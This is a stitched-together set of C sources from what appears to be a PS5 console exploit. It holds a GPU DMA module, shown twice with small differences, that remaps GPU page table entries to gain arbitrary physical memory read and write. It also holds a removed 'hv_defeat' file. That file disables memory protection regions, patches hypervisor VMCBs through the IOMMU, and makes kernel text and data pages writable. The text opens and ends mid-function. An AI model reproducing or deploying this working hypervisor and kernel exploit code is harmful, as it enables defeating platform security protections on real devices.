kernel_setlong(s_gpu.victim_ptbe_va, orig_ptbe);
return 0;
}
int gpu_init(void) {
// init GPU DMA
struct gpu_kernel_offsets go = {};
go.proc_vmspace = KERNEL_OFFSET_PROC_P_VMSPACE;
go.vmspace_vm_vmid = env_offset.VMSPACE_VM_VMID;
go.sizeof_gvmspace = 0x100;
go.gvmspace_page_dir_va = 0x38;
go.gvmspace_size = 0x10;
go.gvmspace_start_va = 0x08;
go.data_base_gvmspace = env_offset.DATA_BASE_GVMSPACE;
gpu_set_offsets(&go);
if (gpu_init_internal())
return -1;
return 0;
}
int gpu_init_internal(void) {
if (s_gpu.initialized) {
DEBUG_PRINT("[gpu] Already initialized\n");
return 0;
}
if (!s_offsets_set) {
DEBUG_PRINT("[gpu] ERROR: call gpu_set_offsets() first\n");
return -1;
}
DEBUG_PRINT("[gpu] init\n");
s_gpu.dmem_size = 2 * 0x100000; // 2MB
// Step 1: Open GPU device
DEBUG_PRINT("[gpu] Opening /dev/gc\n");
s_gpu.fd = open("/dev/gc", O_RDWR);
if (s_gpu.fd < 0) {
DEBUG_PRINT("[gpu] ERROR: failed to open /dev/gc (fd=%d)\n", s_gpu.fd);
return -1;
}
DEBUG_PRINT("[gpu] /dev/gc fd=%d\n", s_gpu.fd);
// Step 2: Allocate 3 GPU-mapped buffers
DEBUG_PRINT("[gpu] Allocating GPU direct memory (3 x 2MB)\n");
s_gpu.victim_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);
if (!s_gpu.victim_va) {
DEBUG_PRINT("[gpu] victim alloc failed\n");
return -2;
}
s_gpu.transfer_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);
if (!s_gpu.transfer_va) {
DEBUG_PRINT("[gpu] transfer alloc failed\n");
return -2;
}
s_gpu.cmd_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);
if (!s_gpu.cmd_va) {
DEBUG_PRINT("[gpu] cmd alloc failed\n");
return -2;
}
DEBUG_PRINT("[gpu] victim_va = 0x%lx\n", s_gpu.victim_va);
DEBUG_PRINT("[gpu] transfer_va = 0x%lx\n", s_gpu.transfer_va);
DEBUG_PRINT("[gpu] cmd_va = 0x%lx\n", s_gpu.cmd_va);
// Step 3: Get the physical address of the victim buffer
s_gpu.victim_real_pa = va_to_pa_user(s_gpu.victim_va);
DEBUG_PRINT("[gpu] victim_real_pa = 0x%lx\n", s_gpu.victim_real_pa);
// Step 4: Walk GPU page tables to find the PTE for the victim buffer
int vmid = gpu_get_vmid();
DEBUG_PRINT("[gpu] GPU VMID = %d\n", vmid);
if (s_gpu_offsets.data_base_gvmspace == 0) {
DEBUG_PRINT("[gpu] ERROR: data_base_gvmspace not set\n");
return -3;
}
uint64_t rel_va = gpu_get_relative_va(vmid, s_gpu.victim_va);
if (rel_va == (uint64_t)-1) {
DEBUG_PRINT("[gpu] ERROR: could not get relative VA for victim\n");
return -3;
}
DEBUG_PRINT("[gpu] victim relative GPU VA = 0x%lx\n", rel_va);
s_gpu.victim_ptbe_va = gpu_walk_pt(vmid, rel_va, &s_gpu.page_size);
if (s_gpu.victim_ptbe_va == 0) {
DEBUG_PRINT("[gpu] ERROR: GPU page table walk failed\n");
return -4;
}
DEBUG_PRINT("[gpu] victim GPU PTE VA = 0x%lx\n", s_gpu.victim_ptbe_va);
DEBUG_PRINT("[gpu] victim GPU page sz = 0x%lx\n", s_gpu.page_size);
if (s_gpu.page_size != s_gpu.dmem_size) {
DEBUG_PRINT("[gpu] WARNING: page size 0x%lx != dmem_size 0x%lx\n",
s_gpu.page_size, s_gpu.dmem_size);
}
// Step 5: Prepare the cleared PTE template
int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ;
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro);
uint64_t current_ptbe;
kernel_copyout(s_gpu.victim_ptbe_va, &current_ptbe, sizeof(current_ptbe));
s_gpu.cleared_ptbe = current_ptbe & ~s_gpu.victim_real_pa;
DEBUG_PRINT("[gpu] current PTE = 0x%lx\n", current_ptbe);
DEBUG_PRINT("[gpu] cleared PTE = 0x%lx\n", s_gpu.cleared_ptbe);
int prot_rw = prot_ro | PROT_GPU_WRITE;
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw);
s_gpu.initialized = 1;
DEBUG_PRINT("[gpu] ready\n");
return 0;
}
int gpu_test(void) {
if (!s_gpu.initialized) {
printf("[gpu] ERROR: not initialized\n");
return -1;
}
DEBUG_PRINT("[gpu] test\n");
// Test 1: Read a known kernel .data value via GPU DMA and compare
uint64_t test_va = (uint64_t)KERNEL_ADDRESS_DATA_BASE;
uint64_t test_pa = va_to_pa_kernel(test_va);
DEBUG_PRINT("[gpu] Test target: VA=0x%lx PA=0x%lx\n", test_va, test_pa);
uint64_t kernel_val = kernel_getlong(test_va);
DEBUG_PRINT("[gpu] kernel_read8 = 0x%lx\n", kernel_val);
uint64_t gpu_val = gpu_read_phys8(test_pa);
DEBUG_PRINT("[gpu] gpu_read8 = 0x%lx\n", gpu_val);
if (kernel_val == gpu_val) {
printf("[gpu] *** TEST PASSED: values match ***\n");
} else {
printf("[gpu] *** TEST FAILED: values differ ***\n");
return -1;
}
// Test 2: Write and read-back test
uint64_t test_write_pa = va_to_pa_user(s_gpu.transfer_va + 0x100000);
uint64_t magic = 0xDEADBEEFCAFEBABEULL;
DEBUG_PRINT("[gpu] Write test: PA=0x%lx val=0x%lx\n", test_write_pa, magic);
gpu_write_phys8(test_write_pa, magic);
uint64_t readback = gpu_read_phys8(test_write_pa);
DEBUG_PRINT("[gpu] Readback = 0x%lx\n", readback);
if (readback == magic) {
printf("[gpu] *** WRITE TEST PASSED ***\n");
} else {
printf("[gpu] *** WRITE TEST FAILED ***\n");
return -1;
}
printf("[gpu] tests ok\n");
return 0;
}
int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size) {
return gpu_transfer_physical(phys_addr, out_buf, size, 0);
}
uint8_t gpu_read_phys1(uint64_t phys_addr) {
uint8_t val = 0;
gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);
return val;
}
uint32_t gpu_read_phys4(uint64_t phys_addr) {
uint32_t val = 0;
gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);
return val;
}
uint64_t gpu_read_phys8(uint64_t phys_addr) {
uint64_t val = 0;
gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);
return val;
}
int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size) {
return gpu_transfer_physical(phys_addr, (void *)in_buf, size, 1);
}
void gpu_write_phys4(uint64_t phys_addr, uint32_t value) {
gpu_transfer_physical(phys_addr, &value, sizeof(value), 1);
}
void gpu_write_phys8(uint64_t phys_addr, uint64_t value) {
gpu_transfer_physical(phys_addr, &value, sizeof(value), 1);
}
void gpu_cleanup(void) {
if (s_gpu.fd >= 0) {
close(s_gpu.fd);
s_gpu.fd = -1;
}
s_gpu.initialized = 0;
printf("[gpu] Cleaned up\n");
}
#include "gpu.h"
#include "utils.h"
#include <fcntl.h>
#include <ps5/kernel.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
int sceKernelAllocateMainDirectMemory(size_t size, size_t alignment,
int mem_type, uint64_t *phys_out);
int sceKernelMapNamedDirectMemory(void **va_out, size_t size, int prot,
int flags, uint64_t phys, size_t alignment,
const char *name);
int sceKernelSleep(int secs);
static struct gpu_ctx s_gpu = {0};
static struct gpu_kernel_offsets s_gpu_offsets = {0};
static int s_offsets_set = 0;
struct gpu_ctx *gpu_get_ctx(void) { return &s_gpu; }
void gpu_set_offsets(struct gpu_kernel_offsets *offsets) {
memcpy(&s_gpu_offsets, offsets, sizeof(s_gpu_offsets));
s_offsets_set = 1;
}
static uint64_t gpu_pde_field(uint64_t pde, int shift, uint64_t mask) {
return (pde >> shift) & mask;
}
static int gpu_get_vmid(void) {
uint64_t curproc = kernel_get_proc(getpid());
uint64_t vmspace;
uint32_t vmid;
kernel_copyout(curproc + s_gpu_offsets.proc_vmspace, &vmspace,
sizeof(vmspace));
kernel_copyout(vmspace + s_gpu_offsets.vmspace_vm_vmid, &vmid, sizeof(vmid));
return (int)vmid;
}
static uint64_t gpu_get_pdb2_addr(int vmid) {
uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE +
s_gpu_offsets.data_base_gvmspace +
(uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace;
uint64_t pdb2_va;
kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_page_dir_va, &pdb2_va,
sizeof(pdb2_va));
return pdb2_va;
}
static uint64_t gpu_get_relative_va(int vmid, uint64_t va) {
uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE +
s_gpu_offsets.data_base_gvmspace +
(uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace;
uint64_t start_va, size;
kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_start_va, &start_va,
sizeof(start_va));
kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_size, &size, sizeof(size));
if (va >= start_va && va < start_va + size)
return va - start_va;
return (uint64_t)-1;
}
static uint64_t gpu_walk_pt(int vmid, uint64_t gpu_va,
uint64_t *out_page_size) {
uint64_t pdb2_addr = gpu_get_pdb2_addr(vmid);
uint64_t pml4e_idx = (gpu_va >> 39) & 0x1FF;
uint64_t pdpe_idx = (gpu_va >> 30) & 0x1FF;
uint64_t pde_idx = (gpu_va >> 21) & 0x1FF;
// PDB2 (PML4 equivalent)
uint64_t pml4e;
kernel_copyout(pdb2_addr + pml4e_idx * 8, &pml4e, sizeof(pml4e));
if (gpu_pde_field(pml4e, GPU_PDE_VALID_BIT, 1) != 1)
return 0;
// PDB1 (PDPT equivalent)
uint64_t pdp_pa = pml4e & GPU_PDE_ADDR_MASK;
uint64_t pdpe_va = dmap + pdp_pa + pdpe_idx * 8;
uint64_t pdpe;
kernel_copyout(pdpe_va, &pdpe, sizeof(pdpe));
if (gpu_pde_field(pdpe, GPU_PDE_VALID_BIT, 1) != 1)
return 0;
// PDB0 (PD equivalent)
uint64_t pd_pa = pdpe & GPU_PDE_ADDR_MASK;
uint64_t pde_va = dmap + pd_pa + pde_idx * 8;
uint64_t pde;
kernel_copyout(pde_va, &pde, sizeof(pde));
if (gpu_pde_field(pde, GPU_PDE_VALID_BIT, 1) != 1)
return 0;
// If IS_PTE bit set, this is a 2MB leaf
if (gpu_pde_field(pde, GPU_PDE_IS_PTE_BIT, 1) == 1) {
*out_page_size = 0x200000;
return pde_va;
}
// PTB (page table block)
uint64_t frag_size = gpu_pde_field(pde, GPU_PDE_BLOCK_FRAG_BIT, 0x1F);
uint64_t offset = gpu_va & 0x1FFFFF;
uint64_t pt_pa = pde & GPU_PDE_ADDR_MASK;
uint64_t pte_idx, pte_va;
if (frag_size == 4) {
pte_idx = offset >> 16;
pte_va = dmap + pt_pa + pte_idx * 8;
uint64_t pte;
kernel_copyout(pte_va, &pte, sizeof(pte));
if (gpu_pde_field(pte, GPU_PDE_VALID_BIT, 1) == 1 &&
gpu_pde_field(pte, GPU_PDE_TF_BIT, 1) == 1) {
pte_idx = (gpu_va & 0xFFFF) >> 13;
pte_va = dmap + pt_pa + pte_idx * 8;
*out_page_size = 0x2000; // 8KB
} else {
*out_page_size = 0x10000; // 64KB
}
} else if (frag_size == 1) {
pte_idx = offset >> 13;
pte_va = dmap + pt_pa + pte_idx * 8;
*out_page_size = 0x2000; // 8KB
} else {
// Unknown fragment size - use 64KB as default
pte_idx = offset >> 16;
pte_va = dmap + pt_pa + pte_idx * 8;
*out_page_size = 0x10000;
}
return pte_va;
}
static uint64_t gpu_alloc_dmem(uint64_t size, int gpu_write) {
uint64_t phys_out = 0;
void *va_out = NULL;
int prot = PROT_READ | PROT_WRITE | PROT_GPU_READ;
if (gpu_write)
prot |= PROT_GPU_WRITE;
int ret = sceKernelAllocateMainDirectMemory(size, size, 1, &phys_out);
if (ret != 0) {
printf("[gpu] sceKernelAllocateMainDirectMemory failed: 0x%d\n", ret);
return 0;
}
ret = sceKernelMapNamedDirectMemory(&va_out, size, prot, MAP_NO_COALESCE,
phys_out, size, "gpudma");
if (ret != 0) {
printf("[gpu] sceKernelMapNamedDirectMemory failed: 0x%d\n", ret);
return 0;
}
return (uint64_t)va_out;
}
static uint32_t pm4_type3_header(uint32_t opcode, uint32_t count) {
return ((PM4_TYPE3 & 0x3) << 30) | (((count - 1) & 0x3FFF) << 16) |
((opcode & 0xFF) << 8) | ((PM4_SHADER_COMPUTE & 0x1) << 1);
}
static int pm4_build_dma_data(void *buf, uint64_t dst_va, uint64_t src_va,
uint32_t length) {
uint32_t *pkt = (uint32_t *)buf;
uint32_t count = 6;
uint32_t dma_hdr = (1u << 31) // cp_sync
| (2u << 25) // dst_cache_policy
| (1u << 27) // dst_volatile
| (2u << 13) // src_cache_policy
| (1u << 15); // src_volatile
pkt[0] = pm4_type3_header(PM4_OPCODE_DMA_DATA, count);
pkt[1] = dma_hdr;
pkt[2] = (uint32_t)(src_va & 0xFFFFFFFF);
pkt[3] = (uint32_t)(src_va >> 32);
pkt[4] = (uint32_t)(dst_va & 0xFFFFFFFF);
pkt[5] = (uint32_t)(dst_va >> 32);
pkt[6] = length & 0x1FFFFF;
return 7 * sizeof(uint32_t);
}
static void gpu_build_cmd_descriptor(void *desc, uint64_t gpu_addr,
uint32_t size_bytes) {
uint64_t *d = (uint64_t *)desc;
uint32_t size_dwords = size_bytes >> 2;
d[0] = ((gpu_addr & 0xFFFFFFFFULL) << 32) | 0xC0023F00ULL;
d[1] =
(((uint64_t)size_dwords & 0xFFFFF) << 32) | ((gpu_addr >> 32) & 0xFFFF);
}
static int gpu_submit_commands(int fd, uint32_t pipe_id, uint32_t cmd_count,
uint64_t descriptors_ptr) {
struct {
uint32_t pipe_id;
uint32_t count;
uint64_t cmd_buf_ptr;
} submit;
submit.pipe_id = pipe_id;
submit.count = cmd_count;
submit.cmd_buf_ptr = descriptors_ptr;
return ioctl(fd, GPU_SUBMIT_IOCTL, &submit);
}
static int gpu_transfer_physical(uint64_t phys_addr, void *local_buf,
uint32_t size, int is_write) {
if (!s_gpu.initialized)
return -1;
uint64_t aligned_pa = phys_addr & ~(s_gpu.dmem_size - 1);
uint64_t offset = phys_addr - aligned_pa;
if (offset + size > s_gpu.dmem_size) {
printf("[gpu] transfer exceeds dmem_size\n");
return -1;
}
int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ;
int prot_rw = prot_ro | PROT_GPU_WRITE;
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro);
uint64_t new_ptbe = s_gpu.cleared_ptbe | aligned_pa;
kernel_setlong(s_gpu.victim_ptbe_va, new_ptbe);
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw);
uint64_t src, dst;
if (is_write) {
memcpy((void *)s_gpu.transfer_va, local_buf, size);
src = s_gpu.transfer_va;
dst = s_gpu.victim_va + offset;
} else {
src = s_gpu.victim_va + offset;
dst = s_gpu.transfer_va;
}
int cmd_size = pm4_build_dma_data((void *)s_gpu.cmd_va, dst, src, size);
uint8_t desc[16];
gpu_build_cmd_descriptor(desc, s_gpu.cmd_va, cmd_size);
uint64_t desc_va = s_gpu.cmd_va + 0x1000;
memcpy((void *)desc_va, desc, 16);
int ret = gpu_submit_commands(s_gpu.fd, 0, 1, desc_va);
if (ret != 0) {
printf("[gpu] ioctl submit failed: %d\n", ret);
return -1;
}
// Wait for GPU DMA completion
// TODO: proper fence/signal wait
usleep(100000);
if (!is_write) {
memcpy(local_buf, (void *)s_gpu.transfer_va, size);
}
// Restore victim PTE to original physical address
uint64_t orig_ptbe = s_gpu.cleared_ptbe | s_gpu.victim_real_pa;
kernel_setlong(s_gpu.victim_ptbe_va, orig_ptbe);
return 0;
}
int gpu_init(void) {
// init GPU DMA
struct gpu_kernel_offsets go = {};
go.proc_vmspace = KERNEL_OFFSET_PROC_P_VMSPACE;
go.vmspace_vm_vmid = env_offset.VMSPACE_VM_VMID;
go.sizeof_gvmspace = 0x100;
go.gvmspace_page_dir_va = 0x38;
go.gvmspace_size = 0x10;
go.gvmspace_start_va = 0x08;
go.data_base_gvmspace = env_offset.DATA_BASE_GVMSPACE;
gpu_set_offsets(&go);
if (gpu_init_internal())
return -1;
return 0;
}
int gpu_init_internal(void) {
if (s_gpu.initialized) {
DEBUG_PRINT("[gpu] Already initialized\n");
return 0;
}
if (!s_offsets_set) {
DEBUG_PRINT("[gpu] ERROR: call gpu_set_offsets() first\n");
return -1;
}
DEBUG_PRINT("[gpu] init\n");
s_gpu.dmem_size = 2 * 0x100000; // 2MB
// Step 1: Open GPU device
DEBUG_PRINT("[gpu] Opening /dev/gc\n");
s_gpu.fd = open("/dev/gc", O_RDWR);
if (s_gpu.fd < 0) {
DEBUG_PRINT("[gpu] ERROR: failed to open /dev/gc (fd=%d)\n", s_gpu.fd);
return -1;
}
DEBUG_PRINT("[gpu] /dev/gc fd=%d\n", s_gpu.fd);
// Step 2: Allocate 3 GPU-mapped buffers
DEBUG_PRINT("[gpu] Allocating GPU direct memory (3 x 2MB)\n");
s_gpu.victim_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);
if (!s_gpu.victim_va) {
DEBUG_PRINT("[gpu] victim alloc failed\n");
return -2;
}
s_gpu.transfer_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);
if (!s_gpu.transfer_va) {
DEBUG_PRINT("[gpu] transfer alloc failed\n");
return -2;
}
s_gpu.cmd_va = gpu_alloc_dmem(s_gpu.dmem_size, 1);
if (!s_gpu.cmd_va) {
DEBUG_PRINT("[gpu] cmd alloc failed\n");
return -2;
}
DEBUG_PRINT("[gpu] victim_va = 0x%lx\n", s_gpu.victim_va);
DEBUG_PRINT("[gpu] transfer_va = 0x%lx\n", s_gpu.transfer_va);
DEBUG_PRINT("[gpu] cmd_va = 0x%lx\n", s_gpu.cmd_va);
// Step 3: Get the physical address of the victim buffer
s_gpu.victim_real_pa = vtophys_user(s_gpu.victim_va);
DEBUG_PRINT("[gpu] victim_real_pa = 0x%lx\n", s_gpu.victim_real_pa);
// Step 4: Walk GPU page tables to find the PTE for the victim buffer
int vmid = gpu_get_vmid();
DEBUG_PRINT("[gpu] GPU VMID = %d\n", vmid);
if (s_gpu_offsets.data_base_gvmspace == 0) {
DEBUG_PRINT("[gpu] ERROR: data_base_gvmspace not set\n");
return -3;
}
uint64_t rel_va = gpu_get_relative_va(vmid, s_gpu.victim_va);
if (rel_va == (uint64_t)-1) {
DEBUG_PRINT("[gpu] ERROR: could not get relative VA for victim\n");
return -3;
}
DEBUG_PRINT("[gpu] victim relative GPU VA = 0x%lx\n", rel_va);
s_gpu.victim_ptbe_va = gpu_walk_pt(vmid, rel_va, &s_gpu.page_size);
if (s_gpu.victim_ptbe_va == 0) {
DEBUG_PRINT("[gpu] ERROR: GPU page table walk failed\n");
return -4;
}
DEBUG_PRINT("[gpu] victim GPU PTE VA = 0x%lx\n", s_gpu.victim_ptbe_va);
DEBUG_PRINT("[gpu] victim GPU page sz = 0x%lx\n", s_gpu.page_size);
if (s_gpu.page_size != s_gpu.dmem_size) {
DEBUG_PRINT("[gpu] WARNING: page size 0x%lx != dmem_size 0x%lx\n",
s_gpu.page_size, s_gpu.dmem_size);
}
// Step 5: Prepare the cleared PTE template
int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ;
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro);
uint64_t current_ptbe;
kernel_copyout(s_gpu.victim_ptbe_va, &current_ptbe, sizeof(current_ptbe));
s_gpu.cleared_ptbe = current_ptbe & ~s_gpu.victim_real_pa;
DEBUG_PRINT("[gpu] current PTE = 0x%lx\n", current_ptbe);
DEBUG_PRINT("[gpu] cleared PTE = 0x%lx\n", s_gpu.cleared_ptbe);
int prot_rw = prot_ro | PROT_GPU_WRITE;
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw);
s_gpu.initialized = 1;
DEBUG_PRINT("[gpu] ready\n");
return 0;
}
int gpu_test(void) {
if (!s_gpu.initialized) {
printf("[gpu] ERROR: not initialized\n");
return -1;
}
DEBUG_PRINT("[gpu] test\n");
// Test 1: Read a known kernel .data value via GPU DMA and compare
uint64_t test_va = (uint64_t)KERNEL_ADDRESS_DATA_BASE;
uint64_t test_pa = vtophys(test_va);
DEBUG_PRINT("[gpu] Test target: VA=0x%lx PA=0x%lx\n", test_va, test_pa);
uint64_t kernel_val = kernel_getlong(test_va);
DEBUG_PRINT("[gpu] kernel_read8 = 0x%lx\n", kernel_val);
uint64_t gpu_val = gpu_read_phys8(test_pa);
DEBUG_PRINT("[gpu] gpu_read8 = 0x%lx\n", gpu_val);
if (kernel_val == gpu_val) {
printf("[gpu] *** TEST PASSED: values match ***\n");
} else {
printf("[gpu] *** TEST FAILED: values differ ***\n");
return -1;
}
// Test 2: Write and read-back test
uint64_t test_write_pa = vtophys_user(s_gpu.transfer_va + 0x100000);
uint64_t magic = 0xDEADBEEFCAFEBABEULL;
DEBUG_PRINT("[gpu] Write test: PA=0x%lx val=0x%lx\n", test_write_pa, magic);
gpu_write_phys8(test_write_pa, magic);
uint64_t readback = gpu_read_phys8(test_write_pa);
DEBUG_PRINT("[gpu] Readback = 0x%lx\n", readback);
if (readback == magic) {
printf("[gpu] *** WRITE TEST PASSED ***\n");
} else {
printf("[gpu] *** WRITE TEST FAILED ***\n");
return -1;
}
printf("[gpu] tests ok\n");
return 0;
}
int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size) {
return gpu_transfer_physical(phys_addr, out_buf, size, 0);
}
uint8_t gpu_read_phys1(uint64_t phys_addr) {
uint8_t val = 0;
gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);
return val;
}
uint32_t gpu_read_phys4(uint64_t phys_addr) {
uint32_t val = 0;
gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);
return val;
}
uint64_t gpu_read_phys8(uint64_t phys_addr) {
uint64_t val = 0;
gpu_transfer_physical(phys_addr, &val, sizeof(val), 0);
return val;
}
int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size) {
return gpu_transfer_physical(phys_addr, (void *)in_buf, size, 1);
}
void gpu_write_phys4(uint64_t phys_addr, uint32_t value) {
gpu_transfer_physical(phys_addr, &value, sizeof(value), 1);
}
void gpu_write_phys8(uint64_t phys_addr, uint64_t value) {
gpu_transfer_physical(phys_addr, &value, sizeof(value), 1);
}
void gpu_cleanup(void) {
if (s_gpu.fd >= 0) {
close(s_gpu.fd);
s_gpu.fd = -1;
}
s_gpu.initialized = 0;
printf("[gpu] Cleaned up\n");
}

View File

@@ -1,295 +0,0 @@
#include "hv_defeat.h"
#include "config.h"
#include "gpu.h"
#include "iommu.h"
#include "tmr.h"
#include "utils.h"
#include <fcntl.h>
#include <setjmp.h>
#include <signal.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
uint64_t vmcb_pa[16];
int hv_defeat(void) {
if (gpu_init())
return -1;
if (stage1_tmr_relax())
return -1;
if (stage2_find_vmcbs())
return -1;
iommu_selftest();
if (stage3_patch_vmcbs())
return -1;
if (stage4_force_vmcb_reload())
return -1;
if (stage5_remove_xotext())
return -1;
if (stage6_kernel_pmap_invalidate_all())
return -1;
return 0;
}
int stage1_tmr_relax(void) {
DEBUG_PRINT("\nHV-defeat [stage1] tmr relax: ");
DEBUG_PRINT("Firmware version: %04x\n", fw);
for (int t = 0; t < 22; t++) {
uint32_t b = tmr_read(TMR_BASE(t));
uint32_t l = tmr_read(TMR_LIMIT(t));
uint32_t c = tmr_read(TMR_CONFIG(t));
if (c == 0 && b == 0 && l == 0)
continue;
DEBUG_PRINT(" tmr[%02d] 0x%012lx-0x%012lx cfg=0x%08x\n", t,
(uint64_t)b << 16, ((uint64_t)l << 16) | 0xFFFF, c);
}
if (fw < 0x0300) {
tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE);
if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE)
goto no_ok;
} else {
tmr_write(TMR_CONFIG(5), TMR_CFG_PERMISSIVE);
tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE);
tmr_write(TMR_CONFIG(17), TMR_CFG_PERMISSIVE);
tmr_write(TMR_CONFIG(18), TMR_CFG_PERMISSIVE);
if (tmr_read(TMR_CONFIG(5)) != TMR_CFG_PERMISSIVE)
goto no_ok;
if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE)
goto no_ok;
if (tmr_read(TMR_CONFIG(17)) != TMR_CFG_PERMISSIVE)
goto no_ok;
if (tmr_read(TMR_CONFIG(18)) != TMR_CFG_PERMISSIVE)
goto no_ok;
}
DEBUG_PRINT("OK\n");
return 0;
no_ok:
DEBUG_PRINT("No OK\n");
return -1;
}
int stage2_find_vmcbs(void) {
DEBUG_PRINT("\nHV-defeat [stage2] vmcb discovery\n");
uint64_t vcpu_off = env_offset.HV_VCPU;
uint64_t stride = env_offset.HV_VCPU_CPUID;
// Testing direct VMCB on 04.03
if ((!vcpu_off || !stride) && fw < 0x0300) {
DEBUG_PRINT(" missing HV_VCPU offsets for fw 0x%04x\n", fw);
return -1;
}
for (int c = 0; c < 16; c++) {
vmcb_pa[c] = get_vmcb(c);
DEBUG_PRINT(" core %02d: pa=0x%016lx\n", c, vmcb_pa[c]);
}
return 0;
}
// Only valid for 3.xx and 4.xx
// 1.xx and 2.xx have dynamic page alloc for VMCB
// TODO: add 1.xx and 2.xx logic
uint64_t get_vmcb(int core) {
switch (fw) {
case 0x0300:
case 0x0310:
case 0x0320:
case 0x0321:
return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000;
break;
case 0x0400:
case 0x0402:
case 0x0403:
case 0x0450:
case 0x0451:
return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000;
break;
default:
return -1;
}
}
int iommu_selftest(void) {
DEBUG_PRINT("\n[iommu] self-test\n");
uint64_t scratch = 0xAAAAAAAABBBBBBBBULL;
uint64_t scratch_pa = va_to_pa_user((uint64_t)&scratch);
if (!scratch_pa || scratch_pa >= 0x100000000ULL) {
DEBUG_PRINT(" bad scratch PA 0x%016lx\n", scratch_pa);
return -1;
}
uint64_t pattern = 0xDEADCAFE12345678ULL;
DEBUG_PRINT(" scratch pa=0x%016lx before=0x%016lx\n", scratch_pa, scratch);
iommu_write8_pa(scratch_pa, pattern);
uint64_t readback = kread64(dmap + scratch_pa);
DEBUG_PRINT(" wrote=0x%016lx read=0x%016lx %s\n", pattern, readback,
(readback == pattern) ? "OK" : "FAIL");
return (readback == pattern) ? 0 : -1;
}
int stage3_patch_vmcbs(void) {
DEBUG_PRINT("\nHV-defeat [stage3-iommu] vmcb patch via IOMMU\n");
int cur = sceKernelGetCurrentCpu();
pin_to_core(cur);
for (int i = 0; i < 16; i++) {
uint64_t pa = vmcb_pa[i];
iommu_write8_pa(pa + 0x00, 0x0000000000000000ULL);
iommu_write8_pa(pa + 0x08, 0x0004000000000000ULL);
iommu_write8_pa(pa + 0x10, 0x000000000000000FULL);
iommu_write8_pa(pa + 0x58, 0x0000000000000001ULL);
iommu_write8_pa(pa + 0x90, 0x0000000000000000ULL);
DEBUG_PRINT(" vmcb[%2d] patched (pa=0x%016lx)\n", i, pa);
// uint64_t vmcb_00 = gpu_read_phys8(pa + 0x00);
// uint64_t vmcb_08 = gpu_read_phys8(pa + 0x08);
// uint64_t vmcb_10 = gpu_read_phys8(pa + 0x10);
// uint64_t vmcb_58 = gpu_read_phys8(pa + 0x58);
// uint64_t vmcb_90 = gpu_read_phys8(pa + 0x90);
// printf("Values read from VMCB: %016lx %016lx %016lx %016lx %016lx\n",
// vmcb_00, vmcb_08, vmcb_10, vmcb_58, vmcb_90
// );
usleep(1000);
}
pin_to_core(9);
DEBUG_PRINT(" done, 16 cores\n");
return 0;
}
static jmp_buf jmp_env;
static volatile int vmmcall_faulted = 0;
void handle_sigill(int sig) {
vmmcall_faulted = 1;
longjmp(jmp_env, 1);
}
int stage4_force_vmcb_reload(void) {
int ret = 0;
auto old_handler = signal(SIGILL, handle_sigill);
for (int i = 0; i < 16; i++) {
pin_to_core(i);
vmmcall_faulted = 0;
if (setjmp(jmp_env) == 0) {
__asm__ volatile("vmmcall");
}
usleep(1000);
DEBUG_PRINT("[vmmcall] core: %02d %s\n", i,
vmmcall_faulted ? "SIGILL (caught)" : "ok");
// Accumulate results
ret |= vmmcall_faulted;
}
signal(SIGILL, old_handler);
// Return -1 if we didn't caught them
return ret ? 0 : -1;
}
int stage5_remove_xotext(void) {
DEBUG_PRINT("\nHV-Defeat [stage5] xotext removal\n");
uint64_t start =
ktext - 0xF0000; // Include first pages where fun stuff is located
uint64_t end = kdata;
int n = 0;
for (uint64_t a = start; a < end; a += 0x1000) {
page_chain_set_rw(a);
n++;
}
DEBUG_PRINT(" %d pages on ktext\n", n);
start = kdata;
end = kdata + 0x08000000;
n = 0;
for (uint64_t a = start; a < end; a += 0x1000) {
page_chain_set_rw(a);
n++;
}
DEBUG_PRINT(" %d pages on kdata\n", n);
return 0;
}
int stage6_kernel_pmap_invalidate_all(void) {
DEBUG_PRINT("HV-Defeat [stage6] invalidate paging entries\n");
static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0};
int pipe_fds[2];
// set O_NONBLOCK to avoid PIPE_DIRECTW
if (pipe2(pipe_fds, O_NONBLOCK)) {
return -1;
}
// the pipe starts off as 1 page large - we need to write into the pipe so it
// will grow to BIG_PIPE_SIZE we need to make sure pmap_invalidate_all doesnt
// use the one page fast path
if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) {
close(pipe_fds[0]);
